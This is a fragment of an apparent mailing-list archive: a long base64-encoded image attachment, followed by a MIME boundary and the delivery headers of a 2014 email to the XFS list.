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 cOJ+M//Z ------=_NextPart_001_0579_5A3B3665.64C95A64-- From eflorac@intellique.com Sat Feb 1 03:56:48 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4C0D27FB2 for ; Sat, 1 Feb 2014 03:56:48 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 294DE8F8050 for ; Sat, 1 Feb 2014 01:56:47 -0800 (PST) 